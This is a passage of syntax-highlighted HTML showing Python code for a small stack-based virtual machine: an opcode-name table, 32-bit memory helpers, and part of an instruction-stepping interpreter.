#98c379;line-height: 26px;"><span leaf="">&#34;POP&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x08</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;STORE8&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x09</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;STORE32&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x0A</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;ADD&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x0B</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;SUB&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x0C</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;MUL&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x0D</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;DIV&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x0E</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;MOD&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x0F</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;AND&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x10</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;OR&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x11</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;NOT&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x12</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;XOR&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x13</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;SHL&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x14</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;SHR&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x15</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;EQ&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x16</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;EQ2&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x17</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;NE&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x18</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;LT&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x19</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;GT&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x1A</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;LE&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x1B</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;GE&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x1C</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;DUP&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x1D</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;SWAP&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x1E</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;CALL&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x1F</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;RET&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x20</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;PRINT&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFF</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;HALT&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">u32</span></span><span style="line-height: 26px;"><span leaf="">(v: int)</span></span><span leaf=""> -&gt; int:</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> v &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFFFFFFFF</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">i32</span></span><span style="line-height: 26px;"><span leaf="">(v: int)</span></span><span leaf=""> -&gt; int:</span></span><span leaf=""><br/></span><span leaf="">    v &amp;= </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFFFFFFFF</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> v </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> v &lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x80000000</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">else</span></span><span leaf=""> v - </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x100000000</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">rd_u32</span></span><span style="line-height: 26px;"><span leaf="">(mem: bytearray, addr: int)</span></span><span leaf=""> -&gt; int:</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">not</span></span><span leaf=""> (</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf=""> &lt;= addr &lt;= </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFFFC</span></span><span leaf="">):</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">raise</span></span><span leaf=""> ValueError(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;mem oob&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> int.from_bytes(mem[addr : addr + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">], </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;little&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">wr_u32</span></span><span style="line-height: 26px;"><span leaf="">(mem: bytearray, addr: int, val: int)</span></span><span leaf=""> -&gt; </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">None</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">not</span></span><span leaf=""> (</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf=""> &lt;= addr &lt;= </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFFFC</span></span><span leaf="">):</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">raise</span></span><span leaf=""> ValueError(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;mem oob&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    mem[addr : addr + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">] = u32(val).to_bytes(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;little&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">rd_imm32</span></span><span style="line-height: 26px;"><span leaf="">(mem: bytearray, ip: int)</span></span><span leaf=""> -&gt; int:</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> ip + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf=""> &gt;= MEM_SIZE:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">raise</span></span><span leaf=""> ValueError(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;ip oob&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> int.from_bytes(mem[ip + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf=""> : ip + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">5</span></span><span leaf="">], </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;little&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">@dataclass</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">class</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">VM</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">    mem: bytearray = field(default_factory=</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">lambda</span></span><span leaf="">: bytearray(MEM_SIZE))</span><span leaf=""><br/></span><span leaf="">    stack: List[int] = field(default_factory=</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">lambda</span></span><span leaf="">: [</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">] * STACK_SIZE)</span><span leaf=""><br/></span><span leaf="">    ip: int = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf=""><br/></span><span leaf="">    sp: int = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf=""><br/></span><span leaf="">    running: int = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf=""><br/></span><span leaf="">    error: int = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">push</span></span><span style="line-height: 26px;"><span leaf="">(self, v: int)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> self.sp &gt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFFF</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">            self.error, self.running = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""><br/></span><span leaf="">        self.stack[self.sp] = u32(v)</span><span leaf=""><br/></span><span leaf="">        self.sp += </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">pop</span></span><span style="line-height: 26px;"><span leaf="">(self)</span></span><span leaf=""> -&gt; int:</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> self.sp == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">            self.error, self.running = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">3</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf=""><br/></span><span leaf="">        self.sp -= </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> self.stack[self.sp]</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">binop</span></span><span style="line-height: 26px;"><span leaf="">(self, fn)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> self.sp &lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">            self.error, self.running = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">3</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""><br/></span><span leaf="">        b = self.pop()</span><span leaf=""><br/></span><span leaf="">        a = self.pop()</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> self.error:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""><br/></span><span leaf="">        self.push(fn(a, b))</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">step</span></span><span style="line-height: 26px;"><span leaf="">(self, trace=False)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> self.error </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">or</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">not</span></span><span leaf=""> self.running:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""><br/></span><span leaf="">        op = self.mem[self.ip]</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> trace:</span><span leaf=""><br/></span><span leaf="">            top = self.stack[self.sp - </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">] </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> self.sp </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">else</span></span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">None</span></span><span leaf=""><br/></span><span leaf="">            print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;ip=</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{self.ip:</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">04</span></span><span leaf="">x}</span></span><span leaf=""> op=</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{op:</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">02</span></span><span leaf="">x}</span></span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{OPNAMES.get(op,</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;?&#39;</span></span><span leaf="">)}</span></span><span leaf=""> sp=</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{self.sp}</span></span><span leaf=""> top=</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{top}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">try</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> op == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x00</span></span><span leaf="">:  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># JMP imm32</span></span><span leaf=""><br/></span><span leaf="">                self.ip = rd_imm32(self.mem, self.ip)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">elif</span></span><span leaf=""> op == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x01</span></span><span leaf="">:  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># JZ imm32 (pop)</span></span><span leaf=""><br/></span><span leaf="">                dst = rd_imm32(self.mem, self.ip)</span><span leaf=""><br/></span><span leaf="">                self.ip += </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">5</span></span><span leaf=""><br/></span><span leaf="">                v = self.pop()</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> self.error:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> v == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                    self.ip = dst</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">elif</span></span><span leaf=""> op == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x02</span></span><span leaf="">:  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># JNZ imm32 (pop)</span></span><span leaf=""><br/></span><span leaf="">                dst = rd_imm32(self.mem, self.ip)</span><span leaf=""><br/></span><span leaf="">                self.ip += </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">5</span></span><span leaf=""><br/></span><span leaf="">                v = self.pop()</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> self.error:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> v != </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                    self.ip = dst</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">elif</span></span><span leaf=""> op == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x03</span></span><span leaf="">:  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># PUSH8 imm8</span></span><span leaf=""><br/></span><span leaf="">                self.push(self.mem[self.ip + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">])</span><span leaf=""><br/></span><span leaf="">                self.ip += </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">elif</span></span><span leaf=""> op == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x04</span></span><span leaf="">:  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># PUSH32 imm32</span></span><span leaf=""><br/></span><span leaf="">                self.push(rd_imm32(self.mem, self.ip))</span><span leaf=""><br/></span><span leaf="">                self.ip += </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">5</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">elif</span></span><span leaf=""> op == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x05</span></span><span leaf="">:  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># LOAD8 [addr]</span></span><span leaf=""><br/></span><span leaf="">                addr = self.pop()</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> self.error:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">not</span></span><span leaf=""> (</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf=""> &lt;= addr &lt;= </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFFFF</span></span><span leaf="">):</span><span leaf=""><br/></span><span leaf="">                    self.error, self.running = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""><br/></span><span leaf="">                self.push(self.mem[addr])</span><span leaf=""><br/></span><span leaf="">                self.ip += </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">elif</span></span><span leaf=""> op == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x06</span></span><span leaf="">:  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># LOAD32 [addr]</span></span><span leaf=""><br/></span><span leaf="">                addr = self.pop()</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> self.error:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""><br/></span><span leaf="">                self.push(rd_u32(self.mem, addr))</span><span leaf=""><br/></span><span leaf="">                self.ip += </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">elif</span></span><span leaf=""> op == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x07</span></span><span leaf="">:  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># POP</span></span><span leaf=""><br/></span><span leaf="">                _ = self.pop()</span><span leaf=""><br/></span><span leaf="">                self.ip += </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">elif</span></span><span leaf=""> op == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x08</span></span><span leaf="">:  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># STORE8 [addr] = value</span></span><span leaf=""><br/></span><span leaf="">                addr = self.pop()</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> self.error:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""><br/></span><span leaf="">                val = self.pop()</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> self.error:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">not</span></span><span leaf=""> (</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf=""> &lt;= addr &lt;= </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFFFF</span></span><span leaf="">):</span><span leaf=""><br/></span><span leaf="">                    self.error, self.running = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""><br/></span><span leaf="">                self.mem[addr] = val &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFF</span></span><span leaf=""><br/></span><span leaf="">                self.ip += </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">elif</span></span><span leaf=""> op == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x09</span></span><span leaf="">:  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># STORE32 [addr] = value</span></span><span leaf=""><br/></span><span leaf="">                addr = self.pop()</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> self.error:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""><br/></span><span leaf="">                val = self.pop()</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> self.error:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""><br/></span><span leaf="">                wr_u32(self.mem, addr, val)</span><span leaf=""><br/></span><span leaf="">                self.ip += </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">elif</span></span><span leaf=""> op == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x0A</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                self.binop(</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">lambda</span></span><span leaf=""> a, b: a + b)</span><span leaf=""><br/></span><span leaf="">                self.ip += </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">elif</span></span><span leaf=""> op == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x0B</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                self.binop(</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">lambda</span></span><span leaf=""> a, b: a - b)</span><span leaf=""><br/></span><span leaf="">                self.ip += </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">elif</span></span><span leaf=""> op == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x0C</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                self.binop(</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">lambda</span></span><span leaf=""> a, b: a * b)</span><span leaf=""><br/></span><span leaf="">                self.ip += </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">elif</span></span><span leaf=""> op == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x0D</span></span><span leaf="">:  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># DIV</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> self.sp &lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                    self.error, self.running = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">3</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""><br/></span><span leaf="">                b = self.pop()</span><span leaf=""><br/></span><span leaf="">                a = self.pop()</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> b == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                    self.error, self.running = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">5</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""><br/></span><span leaf="">                self.push(i32(a) // i32(b))</span><span leaf=""><br/></span><span leaf="">                self.ip += </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">elif</span></span><span leaf=""> op == 